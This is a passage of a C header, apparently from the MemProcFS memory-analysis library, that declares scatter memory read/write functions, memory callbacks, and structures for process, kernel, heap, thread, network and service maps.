_In_ ULONG64 qwVA, _Out_ PULONG64 pqwPA); //----------------------------------------------------------------------------- // SIMPLIFIED EASIER TO USE READ SCATTER MEMORY FUNCTIONALITY BELOW: // The flow is as following: // 1. Call VMMDLL_Scatter_Initialize to initialize handle. // 2. Populate memory ranges with multiple calls to VMMDLL_Scatter_Prepare // and/or VMMDLL_Scatter_PrepareEx functions. The memory buffer given to // VMMDLL_Scatter_PrepareEx will be populated with contents in step (3). // 3. Retrieve the memory by calling VMMDLL_Scatter_Execute function. // 4. If VMMDLL_Scatter_Prepare was used (i.e. not VMMDLL_Scatter_PrepareEx) // then retrieve the memory read in (3). // 5. Clear the handle for reuse by calling VMMDLL_Scatter_Clear alternatively // Close the handle to free resources with VMMDLL_Scatter_CloseHandle. // NB! buffers given to VMMDLL_Scatter_PrepareEx must not be free'd before // handle is closed since it may be used internally. // NB! VMMDLL_Scatter_ExecuteRead may be called at a later point in time to // update (re-read) previously read data. // NB! larger reads (up to 1 GB max) are supported but not recommended. //----------------------------------------------------------------------------- typedef HANDLE VMMDLL_SCATTER_HANDLE; /* * Initialize a scatter handle which is used to call VMMDLL_Scatter_* functions. * CALLER CLOSE: VMMDLL_Scatter_CloseHandle(return) * -- hVMM * -- dwPID - PID of target process, (DWORD)-1 to read physical memory. * -- flags = optional flags as given by VMMDLL_FLAG_* * -- return = handle to be used in VMMDLL_Scatter_* functions. */ EXPORTED_FUNCTION _Success_(return != NULL) VMMDLL_SCATTER_HANDLE VMMDLL_Scatter_Initialize(_In_ VMM_HANDLE hVMM, _In_ DWORD dwPID, _In_ DWORD flags); /* * Prepare (add) a memory range for reading. The memory may after a call to * VMMDLL_Scatter_Execute*() be retrieved with VMMDLL_Scatter_Read(). * -- hS * -- va = start address of the memory range to read. * -- cb = size of memory range to read. * -- return */ EXPORTED_FUNCTION _Success_(return) BOOL VMMDLL_Scatter_Prepare(_In_ VMMDLL_SCATTER_HANDLE hS, _In_ QWORD va, _In_ DWORD cb); /* * Prepare (add) a memory range for reading. The buffer pb and the read length * *pcbRead will be populated when VMMDLL_Scatter_Execute*() is later called. * NB! the buffer pb must not be deallocated before VMMDLL_Scatter_CloseHandle() * has been called since it's used internally by the scatter functionality! * -- hS * -- va = start address of the memory range to read. * -- cb = size of memory range to read. * -- pb = buffer to populate with read memory when calling VMMDLL_Scatter_ExecuteRead() * -- pcbRead = optional pointer to be populated with number of bytes successfully read. * -- return */ EXPORTED_FUNCTION _Success_(return) BOOL VMMDLL_Scatter_PrepareEx(_In_ VMMDLL_SCATTER_HANDLE hS, _In_ QWORD va, _In_ DWORD cb, _Out_writes_opt_(cb) PBYTE pb, _Out_opt_ PDWORD pcbRead); /* * Prepare (add) a memory range for writing. * The memory contents to write is processed when calling this function. * Any changes to va/pb/cb after this call will not be reflected in the write. * The memory is later written when calling VMMDLL_Scatter_Execute(). * Writing takes place before reading. * -- hS * -- va = start address of the memory range to write. * -- pb = data to write. * -- cb = size of memory range to write. * -- return */ EXPORTED_FUNCTION _Success_(return) BOOL VMMDLL_Scatter_PrepareWrite(_In_ VMMDLL_SCATTER_HANDLE hS, _In_ QWORD va, _In_reads_(cb) PBYTE pb, _In_ DWORD cb); /* * Prepare (add) a memory range for writing. * Memory contents to write is processed when calling VMMDLL_Scatter_Execute(). * The buffer pb must be valid when VMMDLL_Scatter_Execute() is called. * The memory is later written when calling VMMDLL_Scatter_Execute(). * Writing takes place before reading. * -- hS * -- va = start address of the memory range to write. * -- pb = data to write. Buffer must be valid when VMMDLL_Scatter_Execute() is called. * -- cb = size of memory range to write. * -- return */ EXPORTED_FUNCTION _Success_(return) BOOL VMMDLL_Scatter_PrepareWriteEx(_In_ VMMDLL_SCATTER_HANDLE hS, _In_ QWORD va, _In_reads_(cb) PBYTE pb, _In_ DWORD cb); /* * Retrieve and Write memory previously populated. * Write any memory prepared with VMMDLL_Scatter_PrepareWrite function (1st). * Retrieve the memory ranges previously populated with calls to the * VMMDLL_Scatter_Prepare* functions (2nd). * -- hS * -- return */ EXPORTED_FUNCTION _Success_(return) BOOL VMMDLL_Scatter_Execute(_In_ VMMDLL_SCATTER_HANDLE hS); /* * Retrieve the memory ranges previously populated with calls to the * VMMDLL_Scatter_Prepare* functions. * -- hS * -- return */ EXPORTED_FUNCTION _Success_(return) BOOL VMMDLL_Scatter_ExecuteRead(_In_ VMMDLL_SCATTER_HANDLE hS); /* * Read out memory in previously populated ranges. This function should only be * called after the memory has been retrieved using VMMDLL_Scatter_ExecuteRead(). * -- hS * -- va * -- cb * -- pb * -- pcbRead * -- return */ EXPORTED_FUNCTION _Success_(return) BOOL VMMDLL_Scatter_Read(_In_ VMMDLL_SCATTER_HANDLE hS, _In_ QWORD va, _In_ DWORD cb, _Out_writes_opt_(cb) PBYTE pb, _Out_opt_ PDWORD pcbRead); /* * Clear/Reset the handle for use in another subsequent read scatter operation. * -- hS = the scatter handle to clear for reuse. * -- dwPID = optional PID change. * -- flags * -- return */ EXPORTED_FUNCTION _Success_(return) BOOL VMMDLL_Scatter_Clear(_In_ VMMDLL_SCATTER_HANDLE hS, _In_opt_ DWORD dwPID, _In_ DWORD flags); /* * Close the scatter handle and free the resources it uses. * -- hS = the scatter handle to close. */ EXPORTED_FUNCTION VOID VMMDLL_Scatter_CloseHandle(_In_opt_ _Post_ptr_invalid_ VMMDLL_SCATTER_HANDLE hS); //----------------------------------------------------------------------------- // MEMORY CALLBACK FUNCTIONALITY: // Allows for advanced memory access statistics and the creation of specialized // custom memory views for physical memory or per-process virtual memory. // Callback functions may be registered to modify memory reads and/or writes. //----------------------------------------------------------------------------- typedef enum tdVMMDLL_MEM_CALLBACK_TP { VMMDLL_MEM_CALLBACK_READ_PHYSICAL_PRE = 1, VMMDLL_MEM_CALLBACK_READ_PHYSICAL_POST = 2, VMMDLL_MEM_CALLBACK_WRITE_PHYSICAL_PRE = 3, VMMDLL_MEM_CALLBACK_READ_VIRTUAL_PRE = 4, VMMDLL_MEM_CALLBACK_READ_VIRTUAL_POST = 5, VMMDLL_MEM_CALLBACK_WRITE_VIRTUAL_PRE = 6, } VMMDLL_MEM_CALLBACK_TP; /* * MEM callback function definition. * -- ctxUser = user context pointer. * -- dwPID = PID of target process, (DWORD)-1 for physical memory. * -- cpMEMs = count of pMEMs. * -- ppMEMs = array of pointers to MEM scatter read headers. */ typedef VOID(*VMMDLL_MEM_CALLBACK_PFN)(_In_opt_ PVOID ctxUser, _In_ DWORD dwPID, _In_ DWORD cpMEMs, _In_ PPMEM_SCATTER ppMEMs); /* * Register or unregister an optional memory access callback function. * It's possible to have one callback function registered for each type. * To clear an already registered callback function specify NULL as pfnCB. * -- hVMM * -- tp = type of callback to register / unregister - VMMDLL_MEM_CALLBACK_*. * -- ctxUser = user context pointer to be passed to the callback function. * -- pfnCB = callback function to register / unregister. * -- return */ EXPORTED_FUNCTION _Success_(return) BOOL VMMDLL_MemCallback(_In_ VMM_HANDLE hVMM, _In_ VMMDLL_MEM_CALLBACK_TP tp, _In_opt_ PVOID ctxUser, _In_opt_ VMMDLL_MEM_CALLBACK_PFN pfnCB); //----------------------------------------------------------------------------- // VMM PROCESS MAP FUNCTIONALITY BELOW: // Functionality for retrieving process related collections of items such as // page table map (PTE), virtual address descriptor map (VAD), loaded modules, // heaps and threads. //----------------------------------------------------------------------------- #define VMMDLL_MAP_PTE_VERSION 2 #define VMMDLL_MAP_VAD_VERSION 6 #define VMMDLL_MAP_VADEX_VERSION 4 #define VMMDLL_MAP_MODULE_VERSION 6 #define VMMDLL_MAP_UNLOADEDMODULE_VERSION 2 #define VMMDLL_MAP_EAT_VERSION 3 #define VMMDLL_MAP_IAT_VERSION 2 #define VMMDLL_MAP_HEAP_VERSION 4 #define VMMDLL_MAP_HEAPALLOC_VERSION 1 #define VMMDLL_MAP_THREAD_VERSION 4 #define VMMDLL_MAP_THREAD_CALLSTACK_VERSION 1 #define VMMDLL_MAP_HANDLE_VERSION 3 #define VMMDLL_MAP_POOL_VERSION 2 #define VMMDLL_MAP_KOBJECT_VERSION 1 #define VMMDLL_MAP_KDRIVER_VERSION 1 #define VMMDLL_MAP_KDEVICE_VERSION 1 #define VMMDLL_MAP_NET_VERSION 3 #define VMMDLL_MAP_PHYSMEM_VERSION 2 #define VMMDLL_MAP_USER_VERSION 2 #define VMMDLL_MAP_VM_VERSION 2 #define VMMDLL_MAP_SERVICE_VERSION 3 // flags to check for existence in the fPage field of VMMDLL_MAP_PTEENTRY #define VMMDLL_MEMMAP_FLAG_PAGE_W 0x0000000000000002 #define VMMDLL_MEMMAP_FLAG_PAGE_NS 0x0000000000000004 #define VMMDLL_MEMMAP_FLAG_PAGE_NX 0x8000000000000000 #define VMMDLL_MEMMAP_FLAG_PAGE_MASK 0x8000000000000006 #define VMMDLL_POOLMAP_FLAG_ALL 0 #define VMMDLL_POOLMAP_FLAG_BIG 1 #define VMMDLL_MODULE_FLAG_NORMAL 0 #define VMMDLL_MODULE_FLAG_DEBUGINFO 1 #define VMMDLL_MODULE_FLAG_VERSIONINFO 2 typedef enum tdVMMDLL_PTE_TP { VMMDLL_PTE_TP_NA = 0, VMMDLL_PTE_TP_HARDWARE = 1, VMMDLL_PTE_TP_TRANSITION = 2, VMMDLL_PTE_TP_PROTOTYPE = 3, VMMDLL_PTE_TP_DEMANDZERO = 4, VMMDLL_PTE_TP_COMPRESSED = 5, VMMDLL_PTE_TP_PAGEFILE = 6, VMMDLL_PTE_TP_FILE = 7, } VMMDLL_PTE_TP, *PVMMDLL_PTE_TP; typedef struct tdVMMDLL_MAP_PTEENTRY { QWORD vaBase; QWORD cPages; QWORD fPage; BOOL fWoW64; DWORD _FutureUse1; union { LPSTR uszText; LPWSTR wszText; }; // U/W dependant DWORD _Reserved1; DWORD cSoftware; // # software (non active) PTEs in region } VMMDLL_MAP_PTEENTRY, *PVMMDLL_MAP_PTEENTRY; typedef struct tdVMMDLL_MAP_VADENTRY { QWORD vaStart; QWORD vaEnd; QWORD vaVad; // DWORD 0 DWORD VadType : 3; // Pos 0 DWORD Protection : 5; // Pos 3 DWORD fImage : 1; // Pos 8 DWORD fFile : 1; // Pos 9 DWORD fPageFile : 1; // Pos 10 DWORD fPrivateMemory : 1; // Pos 11 DWORD fTeb : 1; // Pos 12 DWORD fStack : 1; // Pos 13 DWORD fSpare : 2; // Pos 14 DWORD HeapNum : 7; // Pos 16 DWORD fHeap : 1; // Pos 23 DWORD cwszDescription : 8; // Pos 24 // DWORD 1 DWORD CommitCharge : 31; // Pos 0 DWORD MemCommit : 1; // Pos 31 DWORD u2; DWORD cbPrototypePte; QWORD vaPrototypePte; QWORD vaSubsection; union { LPSTR uszText; LPWSTR wszText; }; // U/W dependant DWORD _FutureUse1; DWORD _Reserved1; QWORD vaFileObject; // only valid if fFile/fImage _and_ after wszText is initialized DWORD cVadExPages; // number of "valid" VadEx pages in this VAD. DWORD cVadExPagesBase; // number of "valid" VadEx pages in "previous" VADs QWORD _Reserved2; } VMMDLL_MAP_VADENTRY, *PVMMDLL_MAP_VADENTRY; #define VMMDLL_VADEXENTRY_FLAG_HARDWARE 0x01 #define VMMDLL_VADEXENTRY_FLAG_W 0x10 #define VMMDLL_VADEXENTRY_FLAG_K 0x40 #define VMMDLL_VADEXENTRY_FLAG_NX 0x80 typedef struct tdVMMDLL_MAP_VADEXENTRY { VMMDLL_PTE_TP tp; BYTE iPML; BYTE pteFlags; WORD _Reserved2; QWORD va; QWORD pa; QWORD pte; struct { DWORD _Reserved1; VMMDLL_PTE_TP tp; QWORD pa; QWORD pte; } proto; QWORD vaVadBase; } VMMDLL_MAP_VADEXENTRY, *PVMMDLL_MAP_VADEXENTRY; typedef enum tdVMMDLL_MODULE_TP { VMMDLL_MODULE_TP_NORMAL = 0, VMMDLL_MODULE_TP_DATA = 1, VMMDLL_MODULE_TP_NOTLINKED = 2, VMMDLL_MODULE_TP_INJECTED = 3, } VMMDLL_MODULE_TP; typedef struct tdVMMDLL_MAP_MODULEENTRY_DEBUGINFO { DWORD dwAge; DWORD _Reserved; BYTE Guid[16]; union { LPSTR uszGuid; LPWSTR wszGuid; }; union { LPSTR uszPdbFilename; LPWSTR wszPdbFilename; }; } VMMDLL_MAP_MODULEENTRY_DEBUGINFO, *PVMMDLL_MAP_MODULEENTRY_DEBUGINFO; typedef struct tdVMMDLL_MAP_MODULEENTRY_VERSIONINFO { union { LPSTR uszCompanyName; LPWSTR wszCompanyName; }; union { LPSTR uszFileDescription; LPWSTR wszFileDescription; }; union { LPSTR uszFileVersion; LPWSTR wszFileVersion; }; union { LPSTR uszInternalName; LPWSTR wszInternalName; }; union { LPSTR uszLegalCopyright; LPWSTR wszLegalCopyright; }; union { LPSTR uszOriginalFilename; LPWSTR wszFileOriginalFilename; }; union { LPSTR uszProductName; LPWSTR wszProductName; }; union { LPSTR uszProductVersion; LPWSTR wszProductVersion; }; } VMMDLL_MAP_MODULEENTRY_VERSIONINFO, *PVMMDLL_MAP_MODULEENTRY_VERSIONINFO; typedef struct tdVMMDLL_MAP_MODULEENTRY { QWORD vaBase; QWORD vaEntry; DWORD cbImageSize; BOOL fWoW64; union { LPSTR uszText; LPWSTR wszText; }; // U/W dependant DWORD _Reserved3; DWORD _Reserved4; union { LPSTR uszFullName; LPWSTR wszFullName; }; // U/W dependant VMMDLL_MODULE_TP tp; DWORD cbFileSizeRaw; DWORD cSection; DWORD cEAT; DWORD cIAT; DWORD _Reserved2; QWORD _Reserved1[3]; PVMMDLL_MAP_MODULEENTRY_DEBUGINFO pExDebugInfo; // not included by default - use VMMDLL_MODULE_FLAG_DEBUGINFO to include. PVMMDLL_MAP_MODULEENTRY_VERSIONINFO pExVersionInfo; // not included by default - use VMMDLL_MODULE_FLAG_VERSIONINFO to include. } VMMDLL_MAP_MODULEENTRY, *PVMMDLL_MAP_MODULEENTRY; typedef struct tdVMMDLL_MAP_UNLOADEDMODULEENTRY { QWORD vaBase; DWORD cbImageSize; BOOL fWoW64; union { LPSTR uszText; LPWSTR wszText; }; // U/W dependant DWORD _FutureUse1; DWORD dwCheckSum; // user-mode only DWORD dwTimeDateStamp; // user-mode only DWORD _Reserved1; QWORD ftUnload; // kernel-mode only } VMMDLL_MAP_UNLOADEDMODULEENTRY, *PVMMDLL_MAP_UNLOADEDMODULEENTRY; typedef struct tdVMMDLL_MAP_EATENTRY { QWORD vaFunction; DWORD dwOrdinal; DWORD oFunctionsArray; // PIMAGE_EXPORT_DIRECTORY->AddressOfFunctions[oFunctionsArray] DWORD oNamesArray; // PIMAGE_EXPORT_DIRECTORY->AddressOfNames[oNamesArray] DWORD _FutureUse1; union { LPSTR uszFunction; LPWSTR wszFunction; }; // U/W dependant union { LPSTR uszForwardedFunction; LPWSTR wszForwardedFunction; }; // U/W dependant (function or ordinal name if exists). } VMMDLL_MAP_EATENTRY, *PVMMDLL_MAP_EATENTRY; typedef struct tdVMMDLL_MAP_IATENTRY { QWORD vaFunction; union { LPSTR uszFunction; LPWSTR wszFunction; }; // U/W dependant DWORD _FutureUse1; DWORD _FutureUse2; union { LPSTR uszModule; LPWSTR wszModule; }; // U/W dependant struct { BOOL f32; WORD wHint; WORD _Reserved1; DWORD rvaFirstThunk; DWORD rvaOriginalFirstThunk; DWORD rvaNameModule; DWORD rvaNameFunction; } Thunk; } VMMDLL_MAP_IATENTRY, *PVMMDLL_MAP_IATENTRY; typedef enum tdVMMDLL_HEAP_TP { VMMDLL_HEAP_TP_NA = 0, VMMDLL_HEAP_TP_NT = 1, VMMDLL_HEAP_TP_SEG = 2, } VMMDLL_HEAP_TP, *PVMMDLL_HEAP_TP; typedef enum tdVMMDLL_HEAP_SEGMENT_TP { VMMDLL_HEAP_SEGMENT_TP_NA = 0, VMMDLL_HEAP_SEGMENT_TP_NT_SEGMENT = 1, VMMDLL_HEAP_SEGMENT_TP_NT_LFH = 2, VMMDLL_HEAP_SEGMENT_TP_NT_LARGE = 3, VMMDLL_HEAP_SEGMENT_TP_NT_NA = 4, VMMDLL_HEAP_SEGMENT_TP_SEG_HEAP = 5, VMMDLL_HEAP_SEGMENT_TP_SEG_SEGMENT = 6, VMMDLL_HEAP_SEGMENT_TP_SEG_LARGE = 7, VMMDLL_HEAP_SEGMENT_TP_SEG_NA = 8, } VMMDLL_HEAP_SEGMENT_TP, *PVMMDLL_HEAP_SEGMENT_TP; typedef struct tdVMMDLL_MAP_HEAP_SEGMENTENTRY { QWORD va; DWORD cb; VMMDLL_HEAP_SEGMENT_TP tp : 16; DWORD iHeap : 16; } VMMDLL_MAP_HEAP_SEGMENTENTRY, *PVMMDLL_MAP_HEAP_SEGMENTENTRY; typedef struct tdVMMDLL_MAP_HEAPENTRY { QWORD va; VMMDLL_HEAP_TP tp; BOOL f32; DWORD iHeap; DWORD dwHeapNum; } VMMDLL_MAP_HEAPENTRY, *PVMMDLL_MAP_HEAPENTRY; typedef enum tdVMMDLL_HEAPALLOC_TP { VMMDLL_HEAPALLOC_TP_NA = 0, VMMDLL_HEAPALLOC_TP_NT_HEAP = 1, VMMDLL_HEAPALLOC_TP_NT_LFH = 2, VMMDLL_HEAPALLOC_TP_NT_LARGE = 3, VMMDLL_HEAPALLOC_TP_NT_NA = 4, VMMDLL_HEAPALLOC_TP_SEG_VS = 5, VMMDLL_HEAPALLOC_TP_SEG_LFH = 6, VMMDLL_HEAPALLOC_TP_SEG_LARGE = 7, VMMDLL_HEAPALLOC_TP_SEG_NA = 8, } VMMDLL_HEAPALLOC_TP, *PVMMDLL_HEAPALLOC_TP; typedef struct tdVMMDLL_MAP_HEAPALLOCENTRY { QWORD va; DWORD cb; VMMDLL_HEAPALLOC_TP tp; } VMMDLL_MAP_HEAPALLOCENTRY, *PVMMDLL_MAP_HEAPALLOCENTRY; typedef struct tdVMMDLL_MAP_THREADENTRY { DWORD dwTID; DWORD dwPID; DWORD dwExitStatus; UCHAR bState; UCHAR bRunning; UCHAR bPriority; UCHAR bBasePriority; QWORD vaETHREAD; QWORD vaTeb; QWORD ftCreateTime; QWORD ftExitTime; QWORD vaStartAddress; QWORD vaStackBaseUser; // value from _NT_TIB / _TEB QWORD vaStackLimitUser; // value from _NT_TIB / _TEB QWORD vaStackBaseKernel; QWORD vaStackLimitKernel; QWORD vaTrapFrame; QWORD vaRIP; // RIP register (if user mode) QWORD vaRSP; // RSP register (if user mode) QWORD qwAffinity; DWORD dwUserTime; DWORD dwKernelTime; UCHAR bSuspendCount; UCHAR bWaitReason; UCHAR _FutureUse1[2]; DWORD _FutureUse2[11]; QWORD vaImpersonationToken; QWORD vaWin32StartAddress; } VMMDLL_MAP_THREADENTRY, *PVMMDLL_MAP_THREADENTRY; typedef struct tdVMMDLL_MAP_THREAD_CALLSTACKENTRY { DWORD i; BOOL fRegPresent; QWORD vaRetAddr; QWORD vaRSP; QWORD vaBaseSP; DWORD _FutureUse1; DWORD cbDisplacement; union { LPSTR uszModule; LPWSTR wszModule; }; // U/W dependant union { LPSTR uszFunction; LPWSTR wszFunction; }; // U/W dependant } VMMDLL_MAP_THREAD_CALLSTACKENTRY, *PVMMDLL_MAP_THREAD_CALLSTACKENTRY; typedef struct tdVMMDLL_MAP_HANDLEENTRY { QWORD vaObject; DWORD dwHandle; DWORD dwGrantedAccess : 24; DWORD iType : 8; QWORD qwHandleCount; QWORD qwPointerCount; QWORD vaObjectCreateInfo; QWORD vaSecurityDescriptor; union { LPSTR uszText; LPWSTR wszText; }; // U/W dependant DWORD _FutureUse2; DWORD dwPID; DWORD dwPoolTag; DWORD _FutureUse[7]; union { LPSTR uszType; LPWSTR wszType; QWORD _Pad1; }; // U/W dependant } VMMDLL_MAP_HANDLEENTRY, *PVMMDLL_MAP_HANDLEENTRY; typedef enum tdVMMDLL_MAP_POOL_TYPE { VMMDLL_MAP_POOL_TYPE_Unknown = 0, VMMDLL_MAP_POOL_TYPE_NonPagedPool = 1, VMMDLL_MAP_POOL_TYPE_NonPagedPoolNx = 2, VMMDLL_MAP_POOL_TYPE_PagedPool = 3 } VMMDLL_MAP_POOL_TYPE; typedef enum tdVMM_MAP_POOL_TYPE_SUBSEGMENT { VMM_MAP_POOL_TYPE_SUBSEGMENT_UNKNOWN = 0, VMM_MAP_POOL_TYPE_SUBSEGMENT_NA = 1, VMM_MAP_POOL_TYPE_SUBSEGMENT_BIG = 2, VMM_MAP_POOL_TYPE_SUBSEGMENT_LARGE = 3, VMM_MAP_POOL_TYPE_SUBSEGMENT_VS = 4, VMM_MAP_POOL_TYPE_SUBSEGMENT_LFH = 5 } VMM_MAP_POOL_TYPE_SUBSEGMENT; typedef struct tdVMMDLL_MAP_POOLENTRYTAG { union { CHAR szTag[5]; struct { DWORD dwTag; DWORD _Filler; DWORD cEntry; DWORD iTag2Map; }; }; } VMMDLL_MAP_POOLENTRYTAG, *PVMMDLL_MAP_POOLENTRYTAG; typedef struct tdVMMDLL_MAP_POOLENTRY { QWORD va; union { CHAR szTag[5]; struct { DWORD dwTag; BYTE _ReservedZero; BYTE fAlloc; BYTE tpPool; // VMMDLL_MAP_POOL_TYPE BYTE tpSS; // VMMDLL_MAP_POOL_TYPE_SUBSEGMENT }; }; DWORD cb; DWORD _Filler; } VMMDLL_MAP_POOLENTRY, *PVMMDLL_MAP_POOLENTRY; typedef struct tdVMMDLL_MAP_KDEVICEENTRY { QWORD va; // Address of this object in memory. DWORD iDepth; // Depth of the device object. DWORD dwDeviceType; // Device type according to FILE_DEVICE_* union { LPSTR uszDeviceType; LPWSTR wszDeviceType; }; // Device type name. QWORD vaDriverObject; // Address of the driver object. QWORD vaAttachedDevice; // Address of the attached device object (if exists). QWORD vaFileSystemDevice; // Address of the file system device object (if exists). union { LPSTR uszVolumeInfo; LPWSTR wszVolumeInfo; }; // Volume information (if exists) . } VMMDLL_MAP_KDEVICEENTRY, *PVMMDLL_MAP_KDEVICEENTRY; typedef struct tdVMMDLL_MAP_KDRIVERENTRY { QWORD va; // Address of this object in memory. QWORD vaDriverStart; // Address of the loaded driver module in memory. QWORD cbDriverSize; // Size of the loaded driver module in memory. QWORD vaDeviceObject; // Address of the device object. union { LPSTR uszName; LPWSTR wszName; }; // Driver name. union { LPSTR uszPath; LPWSTR wszPath; }; // Driver path. union { LPSTR uszServiceKeyName; LPWSTR wszServiceKeyName; }; // Service key name. QWORD MajorFunction[28]; // Major function array. } VMMDLL_MAP_KDRIVERENTRY, *PVMMDLL_MAP_KDRIVERENTRY; typedef struct tdVMMDLL_MAP_KOBJECTENTRY { QWORD va; // Address of this object in memory. QWORD vaParent; // Address of parent object. DWORD _Filler; DWORD cvaChild; // Number of child object addresses. PQWORD pvaChild; // Array of child object addresses. union { LPSTR uszName; LPWSTR wszName; }; // Object name. union { LPSTR uszType; LPWSTR wszType; }; // Object type } VMMDLL_MAP_KOBJECTENTRY, *PVMMDLL_MAP_KOBJECTENTRY; typedef struct tdVMMDLL_MAP_NETENTRY { DWORD dwPID; DWORD dwState; WORD _FutureUse3[3]; WORD AF; // address family (IPv4/IPv6) struct { BOOL fValid; WORD _Reserved; WORD port; BYTE pbAddr[16]; // ipv4 = 1st 4 bytes, ipv6 = all bytes union { LPSTR uszText; LPWSTR wszText; }; // U/W dependant } Src; struct { BOOL fValid; WORD _Reserved; WORD port; BYTE pbAddr[16]; // ipv4 = 1st 4 bytes, ipv6 = all bytes union { LPSTR uszText; LPWSTR wszText; }; // U/W dependant } Dst; QWORD vaObj; QWORD ftTime; DWORD dwPoolTag; DWORD _FutureUse4; union { LPSTR uszText; LPWSTR wszText; }; // U/W dependant DWORD _FutureUse2[4]; } VMMDLL_MAP_NETENTRY, *PVMMDLL_MAP_NETENTRY; typedef struct tdVMMDLL_MAP_PHYSMEMENTRY { QWORD pa; QWORD cb; } VMMDLL_MAP_PHYSMEMENTRY, *PVMMDLL_MAP_PHYSMEMENTRY; typedef struct tdVMMDLL_MAP_USERENTRY { DWORD _FutureUse1[2]; union { LPSTR uszText; LPWSTR wszText; }; // U/W dependant ULONG64 vaRegHive; union { LPSTR uszSID; LPWSTR wszSID; }; // U/W dependant DWORD _FutureUse2[2]; } VMMDLL_MAP_USERENTRY, *PVMMDLL_MAP_USERENTRY; typedef enum tdVMMDLL_VM_TP { VMMDLL_VM_TP_UNKNOWN = 0, VMMDLL_VM_TP_HV = 1, VMMDLL_VM_TP_HV_WHVP = 2 } VMMDLL_VM_TP; typedef struct tdVMMDLL_MAP_VMENTRY { VMMVM_HANDLE hVM; union { LPSTR uszName; LPWSTR wszName; }; // U/W dependant QWORD gpaMax; VMMDLL_VM_TP tp; BOOL fActive; BOOL fReadOnly; BOOL fPhysicalOnly; DWORD dwPartitionID; DWORD dwVersionBuild; VMMDLL_SYSTEM_TP tpSystem; DWORD dwParentVmmMountID; DWORD dwVmMemPID; } VMMDLL_MAP_VMENTRY, *PVMMDLL_MAP_VMENTRY; typedef struct tdVMMDLL_MAP_SERVICEENTRY { QWORD vaObj; DWORD dwOrdinal; DWORD dwStartType; SERVICE_STATUS ServiceStatus; union { LPSTR uszServiceName; LPWSTR wszServiceName; QWORD _Reserved1; }; // U/W dependant union { LPSTR uszDisplayName; LPWSTR wszDisplayName; QWORD _Reserved2; }; // U/W dependant union { LPSTR uszPath; LPWSTR wszPath; QWORD _Reserved3; }; // U/W dependant union { LPSTR uszUserTp; LPWSTR wszUserTp; QWORD _Reserved4; }; // U/W dependant union { LPSTR uszUserAcct; LPWSTR wszUserAcct; QWORD _Reserved5; }; // U/W dependant union { LPSTR uszImagePath; LPWSTR wszImagePath; QWORD _Reserved6; }; // U/W dependant DWORD dwPID; DWORD _FutureUse1; QWORD _FutureUse2; } VMMDLL_MAP_SERVICEENTRY, *PVMMDLL_MAP_SERVICEENTRY; typedef struct tdVMMDLL_MAP_PTE { DWORD dwVersion; // VMMDLL_MAP_PTE_VERSION DWORD _Reserved1[5]; PBYTE pbMultiText; // NULL or multi-wstr pointed into by VMMDLL_MAP_VADENTRY.wszText DWORD cbMultiText; DWORD cMap; // # map entries. VMMDLL_MAP_PTEENTRY pMap[]; // map entries. } VMMDLL_MAP_PTE, *PVMMDLL_MAP_PTE; typedef struct tdVMMDLL_MAP_VAD { DWORD dwVersion; // VMMDLL_MAP_VAD_VERSION DWORD _Reserved1[4]; DWORD cPage; // # pages in vad map. PBYTE pbMultiText; // NULL or multi-wstr pointed into by VMMDLL_MAP_VADENTRY.wszText DWORD cbMultiText; DWORD cMap; // # map entries. VMMDLL_MAP_VADENTRY pMap[]; // map entries. } VMMDLL_MAP_VAD, *PVMMDLL_MAP_VAD; typedef struct tdVMMDLL_MAP_VADEX { DWORD dwVersion; // VMMDLL_MAP_VADEX_VERSION DWORD _Reserved1[4]; DWORD cMap; // # map entries. VMMDLL_MAP_VADEXENTRY pMap[]; // map entries. } VMMDLL_MAP_VADEX, *PVMMDLL_MAP_VADEX; typedef struct tdVMMDLL_MAP_MODULE { DWORD dwVersion; // VMMDLL_MAP_MODULE_VERSION DWORD _Reserved1[5]; PBYTE pbMultiText; // multi-wstr pointed into by VMMDLL_MAP_MODULEENTRY.wszText DWORD cbMultiText; DWORD cMap; // # map entries. VMMDLL_MAP_MODULEENTRY pMap[]; // map entries. } VMMDLL_MAP_MODULE, *PVMMDLL_MAP_MODULE; typedef struct tdVMMDLL_MAP_UNLOADEDMODULE { DWORD dwVersion; // VMMDLL_MAP_UNLOADEDMODULE_VERSION DWORD _Reserved1[5]; PBYTE pbMultiText; // multi-wstr pointed into by VMMDLL_MAP_MODULEENTRY.wszText DWORD cbMultiText; DWORD cMap; // # map entries. VMMDLL_MAP_UNLOADEDMODULEENTRY pMap[]; // map entries. } VMMDLL_MAP_UNLOADEDMODULE, *PVMMDLL_MAP_UNLOADEDMODULE; typedef struct tdVMMDLL_MAP_EAT { DWORD dwVersion; // VMMDLL_MAP_EAT_VERSION DWORD dwOrdinalBase; DWORD cNumberOfNames; DWORD cNumberOfFunctions; DWORD cNumberOfForwardedFunctions; DWORD _Reserved1[3]; QWORD vaModuleBase; QWORD vaAddressOfFunctions; QWORD vaAddressOfNames; PBYTE pbMultiText; // multi-str pointed into by VMM_MAP_EATENTRY.wszFunction DWORD cbMultiText; DWORD cMap; // # map entries. VMMDLL_MAP_EATENTRY pMap[]; // map entries. } VMMDLL_MAP_EAT, *PVMMDLL_MAP_EAT; typedef struct tdVMMDLL_MAP_IAT { DWORD dwVersion; // VMMDLL_MAP_IAT_VERSION DWORD _Reserved1[5]; QWORD vaModuleBase; PBYTE pbMultiText; // multi-str pointed into by VMM_MAP_EATENTRY.[wszFunction|wszModule] DWORD cbMultiText; DWORD cMap; // # map entries. VMMDLL_MAP_IATENTRY pMap[]; // map entries. } VMMDLL_MAP_IAT, *PVMMDLL_MAP_IAT; typedef struct tdVMMDLL_MAP_HEAP { DWORD dwVersion; // VMMDLL_MAP_HEAP_VERSION DWORD _Reserved1[7]; PVMMDLL_MAP_HEAP_SEGMENTENTRY pSegments; // heap segment entries. DWORD cSegments; // # heap segment entries. DWORD cMap; // # map entries. VMMDLL_MAP_HEAPENTRY pMap[]; // map entries. } VMMDLL_MAP_HEAP, *PVMMDLL_MAP_HEAP; typedef struct tdVMMDLL_MAP_HEAPALLOC { DWORD dwVersion; // VMMDLL_MAP_HEAPALLOC_VERSION DWORD _Reserved1[7]; PVOID _Reserved2[2]; DWORD cMap; // # map entries. VMMDLL_MAP_HEAPALLOCENTRY pMap[]; // map entries. } VMMDLL_MAP_HEAPALLOC, *PVMMDLL_MAP_HEAPALLOC; typedef struct tdVMMDLL_MAP_THREAD { DWORD dwVersion; // VMMDLL_MAP_THREAD_VERSION DWORD _Reserved[8]; DWORD cMap; // # map entries. VMMDLL_MAP_THREADENTRY pMap[]; // map entries. } VMMDLL_MAP_THREAD, 